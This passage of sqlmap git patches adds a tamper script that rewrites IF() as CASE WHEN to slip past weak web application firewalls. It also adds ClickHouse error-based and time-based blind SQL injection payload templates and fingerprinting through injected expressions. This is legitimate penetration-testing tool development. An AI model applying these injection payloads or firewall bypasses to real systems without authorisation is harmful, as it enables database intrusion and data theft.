> 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tamper/if2case.py b/tamper/if2case.py new file mode 100644 index 000000000..9e82459fa --- /dev/null +++ b/tamper/if2case.py @@ -0,0 +1,67 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +See the file 'doc/COPYING' for copying permission +""" + +from lib.core.compat import xrange +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Replaces instances like 'IF(A, B, C)' with 'CASE WHEN (A) THEN (B) ELSE (C) END' counterpart + + Requirement: + * MySQL + * SQLite (possibly) + * SAP MaxDB (possibly) + + Tested against: + * MySQL 5.0 and 5.5 + + Notes: + * Useful to bypass very weak and bespoke web application firewalls + that filter the IF() functions + + >>> tamper('IF(1, 2, 3)') + 'CASE WHEN (1) THEN (2) ELSE (3) END' + >>> tamper('SELECT IF((1=1), (SELECT "foo"), NULL)') + 'SELECT CASE WHEN (1=1) THEN (SELECT "foo") ELSE (NULL) END' + """ + + if payload and payload.find("IF") > -1: + while payload.find("IF(") > -1: + index = payload.find("IF(") + depth = 1 + commas, end = [], None + + for i in xrange(index + len("IF("), len(payload)): + if depth == 1 and payload[i] == ',': + commas.append(i) + + elif depth == 1 and payload[i] == ')': + end = i + break + + elif payload[i] == '(': + depth += 1 + + elif payload[i] == ')': + depth -= 1 + + if len(commas) == 2 and end: + a = payload[index + len("IF("):commas[0]].strip("()") + b = payload[commas[0] + 1:commas[1]].lstrip().strip("()") + c = payload[commas[1] + 1:end].lstrip().strip("()") + newVal = "CASE WHEN (%s) THEN (%s) ELSE (%s) END" % (a, b, c) + payload = payload[:index] + newVal + payload[end + 1:] + else: + break + + return payload From c58383e6849cb839eb6ce329a347a441feef682e Mon Sep 17 00:00:00 2001 From: Paul Werther Date: Fri, 3 Feb 2023 22:54:35 +0100 Subject: [PATCH 15/43] add performance_schema to mysql prediction file (#5305) --- data/txt/common-outputs.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/data/txt/common-outputs.txt b/data/txt/common-outputs.txt index 60bdf5edb..56084d914 100644 --- a/data/txt/common-outputs.txt +++ b/data/txt/common-outputs.txt @@ -399,6 +399,7 @@ XDBWEBSERVICES # MySQL information_schema +performance_schema mysql phpmyadmin From 8962e152ac2038f970c100c3d4ace5a9b695a614 Mon Sep 17 00:00:00 2001 From: Alexis Danizan <51817778+0x4144@users.noreply.github.com> Date: Fri, 3 Feb 2023 23:10:12 +0100 Subject: [PATCH 16/43] Add Clickhouse support (#5229) Co-authored-by: pentest <> --- data/xml/errors.xml | 4 ++ data/xml/payloads/error_based.xml | 20 ++++++ data/xml/payloads/inline_query.xml | 20 ++++++ data/xml/payloads/time_blind.xml | 20 ++++++ data/xml/queries.xml | 69 +++++++++++++++++++ lib/controller/handler.py | 4 ++ lib/core/dicts.py | 3 + lib/core/enums.py | 2 + lib/core/settings.py | 6 +- lib/utils/deps.py | 2 + plugins/dbms/clickhouse/__init__.py | 23 +++++++ plugins/dbms/clickhouse/connector.py | 14 ++++ plugins/dbms/clickhouse/enumeration.py | 12 ++++ plugins/dbms/clickhouse/filesystem.py | 11 ++++ plugins/dbms/clickhouse/fingerprint.py | 91 ++++++++++++++++++++++++++ plugins/dbms/clickhouse/syntax.py | 18 +++++ plugins/dbms/clickhouse/takeover.py | 11 ++++ plugins/generic/databases.py | 12 ++-- plugins/generic/entries.py | 2 +- 19 files changed, 335 insertions(+), 9 deletions(-) create mode 100755 plugins/dbms/clickhouse/__init__.py create mode 100755 plugins/dbms/clickhouse/connector.py create mode 100755 plugins/dbms/clickhouse/enumeration.py create mode 100755 plugins/dbms/clickhouse/filesystem.py create mode 100755 plugins/dbms/clickhouse/fingerprint.py create mode 100755 plugins/dbms/clickhouse/syntax.py create mode 100755 plugins/dbms/clickhouse/takeover.py diff --git a/data/xml/errors.xml b/data/xml/errors.xml index 59ae1e8e2..b78dd91c6 100644 --- a/data/xml/errors.xml +++ b/data/xml/errors.xml @@ -211,6 +211,10 @@ + + + + diff --git a/data/xml/payloads/error_based.xml b/data/xml/payloads/error_based.xml index f9505522f..6cc089d09 100644 --- a/data/xml/payloads/error_based.xml +++ b/data/xml/payloads/error_based.xml @@ -853,6 +853,26 @@ + + + Clickhouse AND error-based - Parameter replace + 2 + 2 + 1 + 1,2,3,9 + 1 + AND [RANDNUM]=CAST('[DELIMITER_START]'||CAST(([QUERY]), 'String')||'[DELIMITER_STOP]' AS String) + + AND [RANDNUM]=CAST('[DELIMITER_START]'||CAST((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)), 'String')||'[DELIMITER_STOP]' AS String) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Clickhouse +
+
+ diff --git a/data/xml/payloads/time_blind.xml b/data/xml/payloads/time_blind.xml index dfd9a2d26..f181a758e 100644 --- a/data/xml/payloads/time_blind.xml +++ b/data/xml/payloads/time_blind.xml @@ -1494,6 +1494,26 @@ + + + Clickhouse AND time-based blind (heavy query) - fuzzBits + 5 + 3 + 1 + 1,2,3 + 1 + OR [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(if(([INFERENCE]), 1000000, 1))) + + OR [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(1000000)) + + + + +
+ Clickhouse +
+
+ diff --git a/data/xml/queries.xml b/data/xml/queries.xml index deda4364d..82570ce7e 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -1319,6 +1319,75 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/lib/controller/handler.py b/lib/controller/handler.py index 227a2ceb7..0e3c1999f 100644 --- a/lib/controller/handler.py +++ b/lib/controller/handler.py @@ -14,6 +14,7 @@ from lib.core.exception import SqlmapConnectionException from lib.core.settings import ACCESS_ALIASES from lib.core.settings import ALTIBASE_ALIASES from lib.core.settings import CACHE_ALIASES +from lib.core.settings import CLICKHOUSE_ALIASES from lib.core.settings import CRATEDB_ALIASES from lib.core.settings import CUBRID_ALIASES from lib.core.settings import DB2_ALIASES @@ -46,6 +47,8 @@ from plugins.dbms.altibase.connector import Connector as AltibaseConn from plugins.dbms.altibase import AltibaseMap from plugins.dbms.cache.connector import Connector as CacheConn from plugins.dbms.cache import CacheMap +from plugins.dbms.clickhouse.connector import Connector as ClickhouseConn +from plugins.dbms.clickhouse import ClickhouseMap from plugins.dbms.cratedb.connector import Connector as CrateDBConn from plugins.dbms.cratedb import CrateDBMap from plugins.dbms.cubrid.connector import Connector as CubridConn @@ -122,6 +125,7 @@ def setHandler(): (DBMS.PRESTO, PRESTO_ALIASES, PrestoMap, PrestoConn), (DBMS.ALTIBASE, ALTIBASE_ALIASES, AltibaseMap, AltibaseConn), (DBMS.MIMERSQL, MIMERSQL_ALIASES, MimerSQLMap, MimerSQLConn), + (DBMS.CLICKHOUSE, CLICKHOUSE_ALIASES, ClickhouseMap, ClickhouseConn), (DBMS.CRATEDB, CRATEDB_ALIASES, CrateDBMap, CrateDBConn), (DBMS.CUBRID, CUBRID_ALIASES, CubridMap, CubridConn), (DBMS.CACHE, CACHE_ALIASES, CacheMap, CacheConn), diff --git a/lib/core/dicts.py b/lib/core/dicts.py index 157adc2ad..ee455729a 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -38,6 +38,7 @@ from lib.core.settings import SQLITE_ALIASES from lib.core.settings import SYBASE_ALIASES from lib.core.settings import VERTICA_ALIASES from lib.core.settings import VIRTUOSO_ALIASES +from lib.core.settings import CLICKHOUSE_ALIASES FIREBIRD_TYPES = { 261: "BLOB", @@ -241,6 +242,7 @@ DBMS_DICT = { DBMS.PRESTO: (PRESTO_ALIASES, "presto-python-client", "https://github.com/prestodb/presto-python-client", None), DBMS.ALTIBASE: (ALTIBASE_ALIASES, None, None, None), DBMS.MIMERSQL: (MIMERSQL_ALIASES, "mimerpy", "https://github.com/mimersql/MimerPy", None), + DBMS.CLICKHOUSE: (CLICKHOUSE_ALIASES, "clickhouse_connect", "https://github.com/ClickHouse/clickhouse-connect", None), DBMS.CRATEDB: (CRATEDB_ALIASES, "python-psycopg2", "https://github.com/psycopg/psycopg2", "postgresql"), DBMS.CUBRID: (CUBRID_ALIASES, "CUBRID-Python", "https://github.com/CUBRID/cubrid-python", None), DBMS.CACHE: (CACHE_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & https://github.com/jpype-project/jpype", None), @@ -286,6 +288,7 @@ HEURISTIC_NULL_EVAL = { DBMS.EXTREMEDB: "NULLIFZERO(hashcode(NULL))", DBMS.RAIMA: "IF(ROWNUMBER()>0,CONVERT(NULL,TINYINT),NULL))", DBMS.VIRTUOSO: "__MAX_NOTNULL(NULL)", + DBMS.CLICKHOUSE: "coalesce(NULL)", } SQL_STATEMENTS = { diff --git a/lib/core/enums.py b/lib/core/enums.py index 188bd9fc3..4fba28218 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -52,6 +52,7 @@ class DBMS(object): PRESTO = "Presto" ALTIBASE = "Altibase" MIMERSQL = "MimerSQL" + CLICKHOUSE = "Clickhouse" CRATEDB = "CrateDB" CUBRID = "Cubrid" CACHE = "InterSystems Cache" @@ -81,6 +82,7 @@ class DBMS_DIRECTORY_NAME(object): PRESTO = "presto" ALTIBASE = "altibase" MIMERSQL = "mimersql" + CLICKHOUSE = "clickhouse" CRATEDB = "cratedb" CUBRID = "cubrid" CACHE = "cache" diff --git a/lib/core/settings.py b/lib/core/settings.py index 54160a195..05f1bad9d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -283,6 +283,7 @@ PRESTO_SYSTEM_DBS = ("information_schema",) ALTIBASE_SYSTEM_DBS = ("SYSTEM_",) MIMERSQL_SYSTEM_DBS = ("information_schema", "SYSTEM",) CRATEDB_SYSTEM_DBS = ("information_schema", "pg_catalog", "sys") +CLICKHOUSE_SYSTEM_DBS = ("information_schema", "system") CUBRID_SYSTEM_DBS = ("DBA",) CACHE_SYSTEM_DBS = ("%Dictionary", "INFORMATION_SCHEMA", "%SYS") EXTREMEDB_SYSTEM_DBS = ("",) @@ -313,6 +314,7 @@ ALTIBASE_ALIASES = ("altibase",) MIMERSQL_ALIASES = ("mimersql", "mimer") CRATEDB_ALIASES = ("cratedb", "crate") CUBRID_ALIASES = ("cubrid",) +CLICKHOUSE_ALIASES = ("clickhouse",) CACHE_ALIASES = ("intersystems cache", "cachedb", "cache", "iris") EXTREMEDB_ALIASES = ("extremedb", "extreme") FRONTBASE_ALIASES = ("frontbase",) @@ -321,10 +323,10 @@ VIRTUOSO_ALIASES = ("virtuoso", "openlink virtuoso") DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_")) -SUPPORTED_DBMS = set(MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CRATEDB_ALIASES + CUBRID_ALIASES + CACHE_ALIASES + EXTREMEDB_ALIASES + RAIMA_ALIASES + VIRTUOSO_ALIASES) +SUPPORTED_DBMS = set(MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CLICKHOUSE_ALIASES + CRATEDB_ALIASES + CUBRID_ALIASES + CACHE_ALIASES + EXTREMEDB_ALIASES + RAIMA_ALIASES + VIRTUOSO_ALIASES) SUPPORTED_OS = ("linux", "windows") -DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES), (DBMS.MIMERSQL, MIMERSQL_ALIASES), (DBMS.CRATEDB, CRATEDB_ALIASES), (DBMS.CUBRID, CUBRID_ALIASES), (DBMS.CACHE, CACHE_ALIASES), (DBMS.EXTREMEDB, EXTREMEDB_ALIASES), (DBMS.FRONTBASE, FRONTBASE_ALIASES), (DBMS.RAIMA, RAIMA_ALIASES), (DBMS.VIRTUOSO, VIRTUOSO_ALIASES)) +DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES), (DBMS.MIMERSQL, MIMERSQL_ALIASES), (DBMS.CLICKHOUSE, CLICKHOUSE_ALIASES), (DBMS.CRATEDB, CRATEDB_ALIASES), (DBMS.CUBRID, CUBRID_ALIASES), (DBMS.CACHE, CACHE_ALIASES), (DBMS.EXTREMEDB, EXTREMEDB_ALIASES), (DBMS.FRONTBASE, FRONTBASE_ALIASES), (DBMS.RAIMA, RAIMA_ALIASES), (DBMS.VIRTUOSO, VIRTUOSO_ALIASES)) USER_AGENT_ALIASES = ("ua", "useragent", "user-agent") REFERER_ALIASES = ("ref", "referer", "referrer") diff --git a/lib/utils/deps.py b/lib/utils/deps.py index 1d7302287..c13e66a28 100644 --- a/lib/utils/deps.py +++ b/lib/utils/deps.py @@ -58,6 +58,8 @@ def checkDependencies(): __import__("mimerpy") elif dbmsName == DBMS.CUBRID: __import__("CUBRIDdb") + elif dbmsName == DBMS.CLICKHOUSE: + __import__("clickhouse_connect") except: warnMsg = "sqlmap requires '%s' third-party library " % data[1] warnMsg += "in order to directly connect to the DBMS " diff --git a/plugins/dbms/clickhouse/__init__.py b/plugins/dbms/clickhouse/__init__.py new file mode 100755 index 000000000..2036e49eb --- /dev/null +++ b/plugins/dbms/clickhouse/__init__.py @@ -0,0 +1,23 @@ +from lib.core.enums import DBMS +from lib.core.settings import CLICKHOUSE_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.clickhouse.enumeration import Enumeration +from plugins.dbms.clickhouse.filesystem import Filesystem +from plugins.dbms.clickhouse.fingerprint import Fingerprint +from plugins.dbms.clickhouse.syntax import Syntax +from plugins.dbms.clickhouse.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class ClickhouseMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines clickhouse methods + """ + + def __init__(self): + self.excludeDbsList = CLICKHOUSE_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.CLICKHOUSE] = Syntax.escape \ No newline at end of file diff --git a/plugins/dbms/clickhouse/connector.py b/plugins/dbms/clickhouse/connector.py new file mode 100755 index 000000000..e9a9bda21 --- /dev/null +++ b/plugins/dbms/clickhouse/connector.py @@ -0,0 +1,14 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import getSafeExString +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + pass \ No newline at end of file diff --git a/plugins/dbms/clickhouse/enumeration.py b/plugins/dbms/clickhouse/enumeration.py new file mode 100755 index 000000000..d2bf57411 --- /dev/null +++ b/plugins/dbms/clickhouse/enumeration.py @@ -0,0 +1,12 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + pass \ No newline at end of file diff --git a/plugins/dbms/clickhouse/filesystem.py b/plugins/dbms/clickhouse/filesystem.py new file mode 100755 index 000000000..af9b2e07f --- /dev/null +++ b/plugins/dbms/clickhouse/filesystem.py @@ -0,0 +1,11 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + pass \ No newline at end of file diff --git a/plugins/dbms/clickhouse/fingerprint.py b/plugins/dbms/clickhouse/fingerprint.py new file mode 100755 index 000000000..89c926ab9 --- /dev/null +++ b/plugins/dbms/clickhouse/fingerprint.py @@ -0,0 +1,91 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import CLICKHOUSE_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.CLICKHOUSE) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.CLICKHOUSE + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(CLICKHOUSE_ALIASES): + setDbms(DBMS.CLICKHOUSE) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.CLICKHOUSE + logger.info(infoMsg) + + result = inject.checkBooleanExpression("halfMD5('abcd')='16356072519128051347'") + + if result: + infoMsg = "confirming %s" % DBMS.CLICKHOUSE + logger.info(infoMsg) + result = inject.checkBooleanExpression("generateUUIDv4(1)!=generateUUIDv4(2)") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.CLICKHOUSE + logger.warn(warnMsg) + + return False + + setDbms(DBMS.CLICKHOUSE) + self.getBanner() + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.CLICKHOUSE + logger.warn(warnMsg) + + return False \ No newline at end of file diff --git a/plugins/dbms/clickhouse/syntax.py b/plugins/dbms/clickhouse/syntax.py new file mode 100755 index 000000000..86f120e7f --- /dev/null +++ b/plugins/dbms/clickhouse/syntax.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == u"SELECT 'abcdefgh' FROM foobar" + True + """ + + return expression \ No newline at end of file diff --git a/plugins/dbms/clickhouse/takeover.py b/plugins/dbms/clickhouse/takeover.py new file mode 100755 index 000000000..f9539ee66 --- /dev/null +++ b/plugins/dbms/clickhouse/takeover.py @@ -0,0 +1,11 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + pass \ No newline at end of file diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index b69c9f67e..b924e9980 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -83,7 +83,7 @@ class Databases(object): if not kb.data.currentDb and Backend.isDbms(DBMS.VERTICA): kb.data.currentDb = VERTICA_DEFAULT_SCHEMA - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.CLICKHOUSE): warnMsg = "on %s you'll need to use " % Backend.getIdentifiedDbms() warnMsg += "schema names for enumeration as the counterpart to database " warnMsg += "names on other DBMSes" @@ -108,7 +108,7 @@ class Databases(object): warnMsg += "names will be fetched from 'mysql' database" logger.warning(warnMsg) - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE): + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.CLICKHOUSE): warnMsg = "schema names are going to be used on %s " % Backend.getIdentifiedDbms() warnMsg += "for enumeration as the counterpart to database " warnMsg += "names on other DBMSes" @@ -621,7 +621,7 @@ class Databases(object): condQueryStr = "%%s%s" % colCondParam condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList)) - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO, DBMS.CLICKHOUSE): query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery @@ -757,7 +757,7 @@ class Databases(object): condQueryStr = "%%s%s" % colCondParam condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList)) - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO, DBMS.CLICKHOUSE): query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery @@ -838,7 +838,7 @@ class Databases(object): query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query = query.replace(" ORDER BY ", "%s ORDER BY " % condQuery) field = None - elif Backend.isDbms(DBMS.MONETDB): + elif Backend.getIdentifiedDbms() in (DBMS.MONETDB, DBMS.CLICKHOUSE): query = safeStringFormat(rootQuery.blind.query, (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db), index)) field = None elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE): @@ -880,7 +880,7 @@ class Databases(object): singleTimeWarnMessage(warnMsg) if not onlyColNames: - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO, DBMS.CLICKHOUSE): query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db)) elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL): query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl.upper()), column, unsafeSQLIdentificatorNaming(conf.db.upper())) diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index a8e0bce7a..609eb4432 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -408,7 +408,7 @@ class Entries(object): if column not in entries: entries[column] = BigArray() - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.CLICKHOUSE): query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, sorted(colList, key=len)[0], index) elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE,): query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index) From b1aaac5ba28bb20e8ec8346704baed15ce192c17 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 3 Feb 2023 23:14:29 +0100 Subject: [PATCH 17/43] Minor update --- lib/core/settings.py | 2 +- plugins/dbms/clickhouse/__init__.py | 11 +++++++++-- plugins/dbms/clickhouse/connector.py | 4 ++-- plugins/dbms/clickhouse/enumeration.py | 4 ++-- plugins/dbms/clickhouse/filesystem.py | 4 ++-- plugins/dbms/clickhouse/fingerprint.py | 4 ++-- plugins/dbms/clickhouse/syntax.py | 4 ++-- plugins/dbms/clickhouse/takeover.py | 4 ++-- 8 files changed, 22 insertions(+), 15 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 05f1bad9d..b7496e467 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.2.0" +VERSION = "1.7.2.1" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and 